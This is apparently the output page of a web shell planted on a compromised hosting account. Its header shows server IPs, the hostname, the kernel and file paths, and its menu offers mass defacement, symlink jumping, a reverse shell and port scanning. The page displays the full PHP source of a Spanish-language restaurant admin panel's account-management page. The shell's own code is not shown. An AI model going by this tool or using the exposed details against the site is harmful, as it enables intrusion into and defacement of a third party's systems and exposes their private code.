Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: admin_accounts.php
<?php include '../components/connect.php'; require_once '../components/admin_roles.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if(!$admin_id){ header('location:admin_login.php'); exit(); } ensureAdminRolesSchema($conn); $currentRole = getRoleBySession($conn); if(!adminHasPermission($currentRole, 'admin_accounts')){ enforceAdminPermission('admin_accounts'); } $roleLabels = getAvailableAdminRoles(); $rolePermissionsMatrix = getAdminRolePermissions(); $permissionLabels = getAdminPermissionLabels(); if(isset($_GET['delete'])){ $delete_id = (int)$_GET['delete']; if($delete_id === (int)$admin_id){ addAdminFlashMessage('No puedes eliminar tu propia cuenta.'); }else{ $selectTarget = $conn->prepare("SELECT id, role FROM `admin` WHERE id = ?"); $selectTarget->execute([$delete_id]); $target = $selectTarget->fetch(PDO::FETCH_ASSOC); if(!$target){ addAdminFlashMessage('La cuenta seleccionada no existe.'); }else{ $targetRole = normalizeAdminRole($target['role'] ?? null); if($targetRole === 'owner' && countAdminsByRole($conn, 'owner') <= 1){ addAdminFlashMessage('Debe existir al menos un administrador con rol Propietario.'); }else{ $delete_admin = $conn->prepare("DELETE FROM `admin` WHERE id = ?"); $delete_admin->execute([$delete_id]); addAdminFlashMessage('Cuenta eliminada correctamente.'); } } } header('location:admin_accounts.php'); exit(); } $accountsStatsStmt = $conn->prepare( "SELECT\n COUNT(*) AS total,\n SUM(role = 'owner') AS owners,\n SUM(role = 'manager') AS managers,\n SUM(role = 'staff') AS staff,\n SUM(role = 'viewer') AS viewers,\n SUM(permissions IS NOT NULL AND permissions <> '') AS custom_count\n FROM `admin`" ); $accountsStatsStmt->execute(); $accountsStats = $accountsStatsStmt->fetch(PDO::FETCH_ASSOC) ?: []; $accountsTotal = (int)($accountsStats['total'] ?? 0); $accountsOwners = (int)($accountsStats['owners'] ?? 0); $accountsManagers = (int)($accountsStats['managers'] ?? 0); $accountsStaff = (int)($accountsStats['staff'] ?? 0); $accountsViewers = (int)($accountsStats['viewers'] ?? 0); $accountsCustom = (int)($accountsStats['custom_count'] ?? 0); $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Cuentas | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <!-- font awesome cdn link --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css"> <!-- custom css file link --> <link rel="stylesheet" href="../css/admin_style.css"> <style> body.admin-accounts-page { min-height: 100vh; background: linear-gradient(135deg, #f5f9ff 0%, #fff7f3 100%); } .admin-accounts-page .page-heading { padding: 24px 24px 0; } .admin-accounts-page .page-heading .section-title { font-size: 2.4rem; font-weight: 800; color: #181818; margin: 0; } .admin-accounts-page .page-heading .section-subtitle { margin: 6px 0 0; font-size: 1.05rem; color: rgba(24, 24, 24, 0.65); font-weight: 600; } .admin-accounts-page .accounts { padding: 12px 24px 48px; } .admin-accounts-page .accounts-toolbar { display: grid; gap: 18px; margin-top: 18px; } .admin-accounts-page .kpi-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 14px; } .admin-accounts-page .kpi-card { position: relative; overflow: hidden; border-radius: 18px; padding: 16px 16px 14px; background: rgba(255, 255, 255, 0.82); border: 1px solid rgba(226, 232, 240, 0.95); box-shadow: 0 18px 44px rgba(15, 21, 45, 0.11); backdrop-filter: blur(12px); } .admin-accounts-page .kpi-card::before { content: ''; position: absolute; inset: -70% -55% auto auto; height: 240px; width: 240px; background: radial-gradient(140px at top right, rgba(14, 165, 233, 0.16), transparent 70%); transform: rotate(12deg); pointer-events: none; } .admin-accounts-page .kpi-card__row { display: flex; align-items: center; justify-content: space-between; gap: 12px; } .admin-accounts-page .kpi-card__label { font-weight: 700; font-size: 0.95rem; color: rgba(24, 24, 24, 0.72); } .admin-accounts-page .kpi-card__value { font-weight: 900; font-size: 1.6rem; color: #151515; margin-top: 8px; } .admin-accounts-page .kpi-card__icon { height: 44px; width: 44px; border-radius: 14px; display: inline-flex; align-items: center; justify-content: center; color: #fff; background: linear-gradient(135deg, #0ea5e9, #2563eb); box-shadow: 0 12px 26px rgba(37, 99, 235, 0.22); } .admin-accounts-page .kpi-card__icon--green { background: linear-gradient(135deg, #2ecc71, #1abc9c); box-shadow: 0 12px 26px rgba(46, 204, 113, 0.22); } .admin-accounts-page .kpi-card__icon--blue { background: linear-gradient(135deg, #4c6fff, #7c3aed); box-shadow: 0 12px 26px rgba(76, 111, 255, 0.22); } .admin-accounts-page .filters-bar { display: grid; grid-template-columns: 1.5fr 1fr; gap: 12px; } .admin-accounts-page .filter-field { display: flex; align-items: center; gap: 10px; padding: 12px 14px; border-radius: 16px; background: rgba(255, 255, 255, 0.82); border: 1px solid rgba(20, 20, 33, 0.12); box-shadow: 0 14px 30px rgba(15, 21, 45, 0.08); backdrop-filter: blur(10px); } .admin-accounts-page .filter-field i { color: rgba(48, 49, 73, 0.7); } .admin-accounts-page .filter-field input, .admin-accounts-page .filter-field select { border: none; outline: none; background: transparent; width: 100%; font-size: 1rem; font-weight: 600; color: #303149; } .admin-accounts-page .filter-field select { cursor: pointer; } .admin-accounts-page .accounts-grid { display: grid; gap: 22px; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); margin-top: 20px; } .admin-accounts-page .user-card { position: relative; overflow: hidden; background: rgba(255, 255, 255, 0.82); border-radius: 20px; padding: 22px 22px 20px; box-shadow: 0 20px 45px rgba(15, 21, 45, 0.12); transition: transform 0.35s ease, box-shadow 0.35s ease; border: 1px solid rgba(226, 232, 240, 0.95); backdrop-filter: blur(12px); } .admin-accounts-page .user-card::before { content: ''; position: absolute; inset: -60% -40% auto auto; height: 220px; width: 220px; background: radial-gradient(120px at top right, rgba(14, 165, 233, 0.18), transparent 70%); transform: rotate(12deg); pointer-events: none; } .admin-accounts-page .user-card--self::before { background: radial-gradient(120px at top right, rgba(46, 204, 113, 0.22), transparent 70%); } .admin-accounts-page .user-card:hover { transform: translateY(-6px); box-shadow: 0 24px 55px rgba(15, 21, 45, 0.16); } .admin-accounts-page .user-card__header { display: flex; align-items: center; gap: 16px; margin-bottom: 18px; } .admin-accounts-page .user-card__avatar { height: 58px; width: 58px; border-radius: 18px; background: linear-gradient(135deg, #0ea5e9, #2563eb); color: #fff; font-weight: 700; font-size: 1.65rem; display: flex; align-items: center; justify-content: center; box-shadow: inset 0 0 0 2px rgba(255,255,255,0.2); } .admin-accounts-page .user-card--self .user-card__avatar { background: linear-gradient(135deg, #2ecc71, #1abc9c); } .admin-accounts-page .user-card__info h3 { margin: 0; font-size: 1.35rem; color: #1e1e1e; letter-spacing: 0.2px; } .admin-accounts-page .user-card__info p { margin: 4px 0 0; font-size: 0.93rem; color: #6c6f7f; } .admin-accounts-page .user-card__meta { margin-top: 10px; display: flex; flex-wrap: wrap; gap: 8px; } .admin-accounts-page .pill { display: inline-flex; align-items: center; gap: 6px; padding: 6px 12px; border-radius: 999px; font-size: 0.8rem; font-weight: 700; border: 1px solid rgba(20, 20, 33, 0.12); background: rgba(255, 255, 255, 0.7); color: rgba(48, 49, 73, 0.88); } .admin-accounts-page .pill--owner { border-color: rgba(255, 124, 67, 0.3); background: rgba(255, 124, 67, 0.12); color: #b93816; } .admin-accounts-page .pill--manager { border-color: rgba(124, 58, 237, 0.25); background: rgba(124, 58, 237, 0.12); color: #5b21b6; } .admin-accounts-page .pill--staff { border-color: rgba(76, 111, 255, 0.22); background: rgba(76, 111, 255, 0.12); color: #2341b4; } .admin-accounts-page .pill--viewer { border-color: rgba(148, 163, 184, 0.5); background: rgba(148, 163, 184, 0.16); color: #475569; } .admin-accounts-page .pill--custom { border-color: rgba(46, 204, 113, 0.22); background: rgba(46, 204, 113, 0.12); color: #0f8f52; } .admin-accounts-page .pill--passkey { border-color: rgba(15, 23, 42, 0.18); background: rgba(15, 23, 42, 0.08); color: rgba(15, 23, 42, 0.86); } .admin-accounts-page .pill--passkey-required { border-color: rgba(220, 38, 38, 0.22); background: rgba(220, 38, 38, 0.10); color: rgba(185, 28, 28, 0.92); } .admin-accounts-page .user-card__badge { position: absolute; top: 16px; right: 18px; background: rgba(46, 204, 113, 0.12); color: #19a463; font-weight: 600; font-size: 0.78rem; padding: 6px 14px; border-radius: 999px; letter-spacing: 0.4px; } .admin-accounts-page .user-card__actions { display: flex; flex-wrap: wrap; gap: 10px; } .admin-accounts-page .user-card__button { display: inline-flex; align-items: center; gap: 8px; padding: 10px 16px; border-radius: 12px; text-decoration: none; font-size: 0.95rem; font-weight: 600; transition: transform 0.25s ease, box-shadow 0.25s ease; border: 1px solid transparent; } .admin-accounts-page .user-card__button i { font-size: 1rem; } .admin-accounts-page .user-card__button--primary { background: linear-gradient(135deg, #0ea5e9, #2563eb); color: #fff; box-shadow: 0 10px 18px rgba(37, 99, 235, 0.22); } .admin-accounts-page .user-card__button--primary:hover { transform: translateY(-2px); box-shadow: 0 12px 26px rgba(37, 99, 235, 0.28); } .admin-accounts-page .user-card__button--ghost { background: rgba(255, 255, 255, 0.92); border-color: rgba(20, 20, 33, 0.12); color: #303149; } .admin-accounts-page .user-card__button--ghost:hover { transform: translateY(-2px); box-shadow: 0 10px 20px rgba(23, 33, 56, 0.12); } .admin-accounts-page .user-card__button--danger { background: linear-gradient(135deg, #ef4444, #b91c1c); color: #fff; box-shadow: 0 10px 18px rgba(239, 68, 68, 0.18); } .admin-accounts-page .user-card__button--danger:hover { transform: translateY(-2px); box-shadow: 0 12px 24px rgba(239, 68, 68, 0.22); } .admin-accounts-page .user-card--add { text-align: center; padding: 28px 22px 30px; background: linear-gradient(145deg, rgba(255, 255, 255, 0.98), rgba(245, 249, 255, 0.98)); border: 2px dashed rgba(14, 165, 233, 0.35); } .admin-accounts-page .user-card--add:hover { border-color: rgba(14, 165, 233, 0.7); } .admin-accounts-page .user-card--add .user-card__icon { height: 64px; width: 64px; border-radius: 18px; margin: 0 auto 16px; background: linear-gradient(135deg, #0ea5e9, #2563eb); display: flex; align-items: center; justify-content: center; color: #fff; font-size: 1.6rem; box-shadow: 0 12px 28px rgba(37, 99, 235, 0.22); } .admin-accounts-page .user-card--add h3 { margin: 0 0 8px; font-size: 1.3rem; color: #1f1f2d; } .admin-accounts-page .user-card--add p { margin: 0 0 18px; color: #6f7285; font-size: 0.95rem; } .admin-accounts-page .message-inline { background: rgba(255, 118, 87, 0.12); color: #d35400; padding: 8px 12px; border-radius: 10px; font-size: 0.92rem; margin: 0 0 12px; } .admin-accounts-page .empty-state { display: none; text-align: center; padding: 18px 16px; border-radius: 16px; background: rgba(255, 255, 255, 0.82); border: 1px solid rgba(226, 232, 240, 0.95); color: rgba(48, 49, 73, 0.75); font-weight: 700; } .admin-accounts-page .swal2-container { z-index: 4000 !important; } .admin-accounts-page .modal-overlay { position: fixed; inset: 0; background: rgba(15, 23, 42, 0.55); backdrop-filter: blur(3px); display: none; align-items: center; justify-content: center; padding: 1.5rem; z-index: 2500; } .admin-accounts-page .modal-overlay.show { display: flex; } .admin-accounts-page .modal { width: 100%; max-width: 640px; background: #fff; border-radius: 18px; border: 1px solid rgba(226, 232, 240, 0.95); box-shadow: 0 25px 70px rgba(0, 0, 0, 0.22); overflow: hidden; } .admin-accounts-page .modal-header { display: flex; align-items: center; justify-content: space-between; gap: 1rem; padding: 1.2rem 1.35rem; background: linear-gradient(135deg, rgba(179,0,0,0.06), rgba(14,165,233,0.06)); border-bottom: 1px solid rgba(226, 232, 240, 0.95); } .admin-accounts-page .modal-header h3 { margin: 0; font-size: 1.45rem; font-weight: 900; color: #0f172a; } .admin-accounts-page .modal-close { border: 0; background: rgba(15, 23, 42, 0.08); color: #0f172a; width: 42px; height: 42px; border-radius: 12px; cursor: pointer; font-size: 1.6rem; font-weight: 900; line-height: 1; } .admin-accounts-page .modal-body { padding: 0; height: 320px; max-height: 78vh; overflow: hidden; } .admin-accounts-page .modal-frame { width: 100%; height: 100%; border: 0; display: block; } @media (max-width: 840px) { .admin-accounts-page .filters-bar { grid-template-columns: 1fr; } } @media (max-width: 640px) { .admin-accounts-page .page-heading { padding: 18px 18px 0; } .admin-accounts-page .accounts { padding: 16px 18px 44px; } .admin-accounts-page .modal-body { height: 78vh; } } </style> </head> <body class="admin-accounts-page"> <?php include '../components/admin_header.php' ?> <section class="page-heading"> <h1 class="section-title">Administrar Cuentas</h1> <p class="section-subtitle">Usuarios, roles y accesos al panel</p> </section> <!-- admins accounts section starts --> <section class="accounts"> <div class="accounts-toolbar"> <div class="kpi-grid"> <div class="kpi-card"> <div class="kpi-card__row"> <div> <div class="kpi-card__label">Usuarios totales</div> <div class="kpi-card__value"><?= (int)$accountsTotal; ?></div> </div> <div class="kpi-card__icon"><i class="fa-solid fa-users"></i></div> </div> </div> <div class="kpi-card"> <div class="kpi-card__row"> <div> <div class="kpi-card__label">Propietarios</div> <div class="kpi-card__value"><?= (int)$accountsOwners; ?></div> </div> <div class="kpi-card__icon kpi-card__icon--green"><i class="fa-solid fa-crown"></i></div> </div> </div> <div class="kpi-card"> <div class="kpi-card__row"> <div> <div class="kpi-card__label">Permisos personalizados</div> <div class="kpi-card__value"><?= (int)$accountsCustom; ?></div> </div> <div class="kpi-card__icon kpi-card__icon--blue"><i class="fa-solid fa-shield-halved"></i></div> </div> </div> </div> <div class="filters-bar"> <div class="filter-field"> <i class="fa-solid fa-magnifying-glass"></i> <input type="text" id="account-search" placeholder="Buscar usuario..." autocomplete="off"> </div> <div class="filter-field"> <i class="fa-solid fa-user-shield"></i> <select id="role-filter"> <option value="">Todos los roles</option> <?php foreach ($roleLabels as $roleKey => $roleLabel): ?> <option value="<?= htmlspecialchars($roleKey); ?>"><?= htmlspecialchars($roleLabel); ?></option> <?php endforeach; ?> </select> </div> </div> </div> <div class="accounts-grid" id="accounts-grid"> <?php if (adminHasPermission($currentRole, 'admin_accounts')): ?> <article class="user-card user-card--add"> <div class="user-card__icon"><i class="fa-solid fa-user-plus"></i></div> <h3>Registrar nuevo usuario</h3> <p>Invita a otro miembro del equipo para colaborar en el panel.</p> <a href="register_admin.php" class="user-card__button user-card__button--primary js-open-user-modal" data-modal-title="Registrar nuevo usuario" data-modal-url="register_admin.php?embed=1"> <i class="fa-solid fa-circle-plus"></i> Registrar </a> </article> <?php endif; ?> <?php $select_account = $conn->prepare( "SELECT a.id, a.name, a.role, a.permissions, a.webauthn_required, COALESCE(w.cnt, 0) AS webauthn_count FROM `admin` a LEFT JOIN ( SELECT admin_id, COUNT(*) AS cnt FROM `admin_webauthn_credentials` GROUP BY admin_id ) w ON w.admin_id = a.id ORDER BY a.id ASC" ); $select_account->execute(); if($select_account->rowCount() > 0){ while($fetch_accounts = $select_account->fetch(PDO::FETCH_ASSOC)){ $profileLink = $fetch_accounts['id'] == $admin_id ? 'update_profile.php' : 'update_profile.php?id=' . (int)$fetch_accounts['id']; $profileEmbedLink = $profileLink . (strpos($profileLink, '?') !== false ? '&' : '?') . 'embed=1'; $isCurrent = (int)$fetch_accounts['id'] === (int)$admin_id; $cardRole = normalizeAdminRole($fetch_accounts['role'] ?? null); $cardRoleLabel = $roleLabels[$cardRole] ?? ucfirst($cardRole); $hasCustomPermissions = trim((string)($fetch_accounts['permissions'] ?? '')) !== ''; $webauthnCount = (int)($fetch_accounts['webauthn_count'] ?? 0); $webauthnRequired = (int)($fetch_accounts['webauthn_required'] ?? 0); $initial = strtoupper(substr($fetch_accounts['name'], 0, 1)); if(function_exists('mb_substr')){ $initial = mb_strtoupper(mb_substr($fetch_accounts['name'], 0, 1, 'UTF-8'), 'UTF-8'); } $subtitle = $isCurrent ? 'Sesión activa' : $cardRoleLabel; ?> <article class="user-card <?= $isCurrent ? 'user-card--self' : ''; ?>" data-name="<?= htmlspecialchars($fetch_accounts['name']); ?>" data-role="<?= htmlspecialchars($cardRole); ?>"> <?php if($isCurrent): ?><span class="user-card__badge">Tu sesión</span><?php endif; ?> <div class="user-card__header"> <div class="user-card__avatar"><?= htmlspecialchars($initial); ?></div> <div class="user-card__info"> <h3><?= htmlspecialchars($fetch_accounts['name']); ?></h3> <p><?= htmlspecialchars($subtitle); ?></p> <div class="user-card__meta"> <span class="pill pill--<?= htmlspecialchars($cardRole); ?>"><i class="fa-solid fa-user-shield"></i><?= htmlspecialchars($cardRoleLabel); ?></span> <?php if($hasCustomPermissions): ?> <span class="pill pill--custom"><i class="fa-solid fa-lock"></i>Personalizado</span> <?php endif; ?> <?php if($webauthnCount > 0): ?> <span class="pill pill--passkey"><i class="fa-solid fa-fingerprint"></i>Huella</span> <?php endif; ?> <?php if($webauthnRequired === 1): ?> <span class="pill pill--passkey-required"><i class="fa-solid fa-triangle-exclamation"></i>Requerida</span> <?php endif; ?> </div> </div> </div> <div class="user-card__actions"> <a href="admin_permissions.php?id=<?= (int)$fetch_accounts['id']; ?>" class="user-card__button user-card__button--ghost"> <i class="fa-solid fa-lock"></i> Permisos </a> <a href="<?= $profileLink; ?>" class="user-card__button user-card__button--primary js-open-user-modal" data-modal-title="Actualizar perfil" data-modal-url="<?= htmlspecialchars($profileEmbedLink); ?>"> <i class="fa-solid fa-user-pen"></i> Actualizar perfil </a> <?php if(!$isCurrent): ?> <a href="admin_accounts.php?delete=<?= (int)$fetch_accounts['id']; ?>" class="user-card__button user-card__button--danger js-delete-account" data-delete-url="admin_accounts.php?delete=<?= (int)$fetch_accounts['id']; ?>" data-account-name="<?= htmlspecialchars($fetch_accounts['name']); ?>"> <i class="fa-solid fa-trash"></i> Eliminar </a> <?php endif; ?> </div> </article> <?php } }else{ echo '<p class="empty">No hay cuentas disponibles</p>'; } ?> </div> <div class="empty-state" id="accounts-empty"> No hay coincidencias con los filtros actuales. </div> </section> <div class="modal-overlay" id="usersModal" aria-hidden="true"> <div class="modal" role="dialog" aria-modal="true" aria-label="Formulario de usuario"> <div class="modal-header"> <h3 id="usersModalTitle">Usuarios</h3> <button type="button" class="modal-close" data-close="users">×</button> </div> <div class="modal-body"> <iframe class="modal-frame" id="usersModalFrame" src="about:blank" title="Usuarios"></iframe> </div> </div> </div> <!-- admins accounts section ends --> <!-- custom js file link --> <script src="../js/admin_script.js"></script> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script> document.addEventListener('DOMContentLoaded', () => { const toastFromMessageNodes = () => { const nodes = Array.from(document.querySelectorAll('.message')); if(nodes.length === 0) return; const texts = nodes .map(n => (n.querySelector('span')?.textContent || '').trim()) .filter(Boolean); nodes.forEach(n => n.remove()); if(!texts.length) return; if(window.Swal){ const Toast = Swal.mixin({ toast: true, position: 'top-end', showConfirmButton: false, timer: 3200, timerProgressBar: true, }); texts.forEach((t) => Toast.fire({ icon: 'success', title: t })); } }; toastFromMessageNodes(); const usersModal = document.getElementById('usersModal'); const usersModalTitle = document.getElementById('usersModalTitle'); const usersModalFrame = document.getElementById('usersModalFrame'); function clamp(n, min, max){ return Math.max(min, Math.min(max, n)); } function resizeUsersModalToFrame(){ if(!usersModal || !usersModalFrame) return; if(!usersModal.classList.contains('show')) return; const max = Math.floor(window.innerHeight * 0.78); const min = 260; let next = 560; try { const doc = usersModalFrame.contentWindow?.document; const formCard = doc?.querySelector?.('.form-card'); if(formCard){ const rect = formCard.getBoundingClientRect(); const bodyStyles = doc.defaultView?.getComputedStyle?.(doc.body); const marginTop = parseFloat(bodyStyles?.marginTop || '0') || 0; const marginBottom = parseFloat(bodyStyles?.marginBottom || '0') || 0; const extra = 28; const h = Math.ceil(rect.height + marginTop + marginBottom + extra); next = clamp(h, min, max); }else{ const scrollH = Math.max( doc?.documentElement?.scrollHeight || 0, doc?.body?.scrollHeight || 0 ); next = scrollH > 0 ? clamp(scrollH, min, max) : clamp(next, min, max); } } catch (e) { next = clamp(next, min, max); } const body = usersModal.querySelector('.modal-body'); if(body) body.style.height = next + 'px'; } function openModal(el){ if(!el) return; el.classList.add('show'); el.setAttribute('aria-hidden', 'false'); document.body.style.overflow = 'hidden'; } function closeModal(el){ if(!el) return; el.classList.remove('show'); el.setAttribute('aria-hidden', 'true'); document.body.style.overflow = ''; } function closeUsersModal(){ closeModal(usersModal); if(usersModalFrame){ usersModalFrame.src = 'about:blank'; usersModalFrame.removeEventListener('load', resizeUsersModalToFrame); } const body = usersModal?.querySelector('.modal-body'); if(body) body.style.height = ''; clearEditQuery(); } function clearEditQuery(){ try { const url = new URL(window.location.href); if(url.searchParams.has('edit_me')){ url.searchParams.delete('edit_me'); } if(url.searchParams.has('edit_id')){ url.searchParams.delete('edit_id'); } const next = url.pathname + (url.searchParams.toString() ? ('?' + url.searchParams.toString()) : '') + url.hash; window.history.replaceState({}, '', next); } catch (e) {} } function focusProfileFrame(url){ try { if(!url || url.indexOf('update_profile.php') === -1) return; const doc = usersModalFrame?.contentWindow?.document; const input = doc?.querySelector?.('#upd_name') || doc?.querySelector?.('input'); input?.focus?.(); } catch (e) {} } function openUsersModal(title, url){ if(usersModalTitle){ usersModalTitle.textContent = title || 'Usuarios'; } if(usersModalFrame){ usersModalFrame.addEventListener('load', () => { resizeUsersModalToFrame(); setTimeout(resizeUsersModalToFrame, 60); setTimeout(resizeUsersModalToFrame, 220); setTimeout(() => focusProfileFrame(url), 120); }, { once: true }); usersModalFrame.src = url || 'about:blank'; } openModal(usersModal); resizeUsersModalToFrame(); } document.querySelectorAll('.js-open-user-modal').forEach((btn) => { btn.addEventListener('click', (e) => { const url = btn.getAttribute('data-modal-url') || btn.getAttribute('href'); if(!url) return; e.preventDefault(); const title = btn.getAttribute('data-modal-title') || 'Usuarios'; openUsersModal(title, url); }); }); document.querySelectorAll('.modal-close').forEach((btn) => { btn.addEventListener('click', () => { const which = btn.getAttribute('data-close'); if(which === 'users') closeUsersModal(); }); }); usersModal?.addEventListener('click', (e) => { if(e.target === usersModal){ closeUsersModal(); } }); document.addEventListener('keydown', (e) => { if(e.key === 'Escape'){ if(usersModal?.classList.contains('show')) closeUsersModal(); } }); window.addEventListener('resize', () => { resizeUsersModalToFrame(); }); function showToast(icon, text){ if(!window.Swal) return; const Toast = Swal.mixin({ toast: true, position: 'top-end', showConfirmButton: false, timer: 3200, timerProgressBar: true, }); Toast.fire({ icon: icon || 'info', title: text }); } window.addEventListener('message', (event) => { if(event.origin && event.origin !== window.location.origin) return; const data = event.data || {}; if(data && data.type === 'users:embedSize'){ const raw = Number(data.height); if(Number.isFinite(raw) && raw > 0){ const max = Math.floor(window.innerHeight * 0.78); const min = 260; const next = clamp(raw, min, max); const body = usersModal?.querySelector('.modal-body'); if(body) body.style.height = next + 'px'; } return; } if(!data || data.type !== 'users:modalResult') return; const status = data.status || 'info'; const msgs = Array.isArray(data.messages) ? data.messages : []; if(msgs.length){ msgs.forEach((m) => showToast(status, String(m || ''))); } if(data.close){ setTimeout(() => { closeUsersModal(); clearEditQuery(); }, 600); } }); (function(){ try { const url = new URL(window.location.href); if(url.searchParams.get('edit_me') === '1'){ const selfCard = document.querySelector('.user-card--self'); selfCard?.scrollIntoView?.({ behavior: 'smooth', block: 'center' }); openUsersModal('Actualizar mi perfil', 'update_profile.php?embed=1'); } } catch (e) {} })(); const searchInput = document.getElementById('account-search'); const roleFilter = document.getElementById('role-filter'); const cards = Array.from(document.querySelectorAll('#accounts-grid .user-card')); const emptyState = document.getElementById('accounts-empty'); const applyFilters = () => { const q = (searchInput?.value || '').trim().toLowerCase(); const role = (roleFilter?.value || '').trim(); let visibleCount = 0; cards.forEach((card) => { if(card.classList.contains('user-card--add')){ card.style.display = ''; return; } const name = (card.getAttribute('data-name') || '').toLowerCase(); const cardRole = card.getAttribute('data-role') || ''; const matchesName = q === '' || name.includes(q); const matchesRole = role === '' || cardRole === role; const show = matchesName && matchesRole; card.style.display = show ? '' : 'none'; if(show) visibleCount++; }); if(emptyState){ emptyState.style.display = visibleCount === 0 ? 'block' : 'none'; } }; searchInput?.addEventListener('input', applyFilters); roleFilter?.addEventListener('change', applyFilters); applyFilters(); document.querySelectorAll('.js-delete-account').forEach((btn) => { btn.addEventListener('click', (e) => { e.preventDefault(); const url = btn.getAttribute('data-delete-url'); const name = (btn.getAttribute('data-account-name') || '').trim(); const title = name ? `Eliminar a ${name}` : 'Eliminar cuenta'; if(window.Swal){ Swal.fire({ title, text: 'Esta acción no se puede deshacer.', icon: 'warning', showCancelButton: true, confirmButtonText: 'Sí, eliminar', cancelButtonText: 'Cancelar', confirmButtonColor: '#ff4d4f', }).then((result) => { if(result.isConfirmed && url){ window.location.href = url; } }); }else{ if(confirm('¿Eliminar esta cuenta?') && url){ window.location.href = url; } } }); }); }); </script> </body> </html>
Coded With 💗 by
0x6ick